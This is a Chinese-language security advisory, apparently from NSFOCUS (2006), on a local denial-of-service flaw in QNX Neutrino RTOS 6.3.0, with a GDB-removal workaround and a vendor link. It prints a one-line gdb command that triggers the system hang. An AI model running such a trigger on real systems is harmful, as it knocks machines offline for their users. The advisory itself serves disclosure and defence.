安全研究
安全漏洞
QNX RTOS 6.3.0本地拒绝服务漏洞
发布日期:2006-02-07
更新日期:2006-02-07
受影响系统:QNX Neutrino RTOS 6.3.0
不受影响系统:QNX Neutrino RTOS 6.0
描述:
QNX Neutrino RTOS是嵌入系统中所使用的实时操作系统。
QNX Neutrino RTOS实现上存在拒绝服务漏洞,本地攻击者可以利用调试器触发此漏洞导致系统失去响应。
本地攻击者可以通过执行以下命令:
echo -e "break *0xb032d59fnrncontncont" | gdb gdb
导致操作系统变得没有响应挂起。
<*链接:
http://idefense.com/intelligence/vulnerabilities/display.php?id=386
*>
建议:
临时解决方法:
* 从受影响系统中删除GNU调试器(GDB)
厂商补丁:
QNX
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.qnx.com/浏览次数:3175
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载 绿盟科技给您安全的保障 |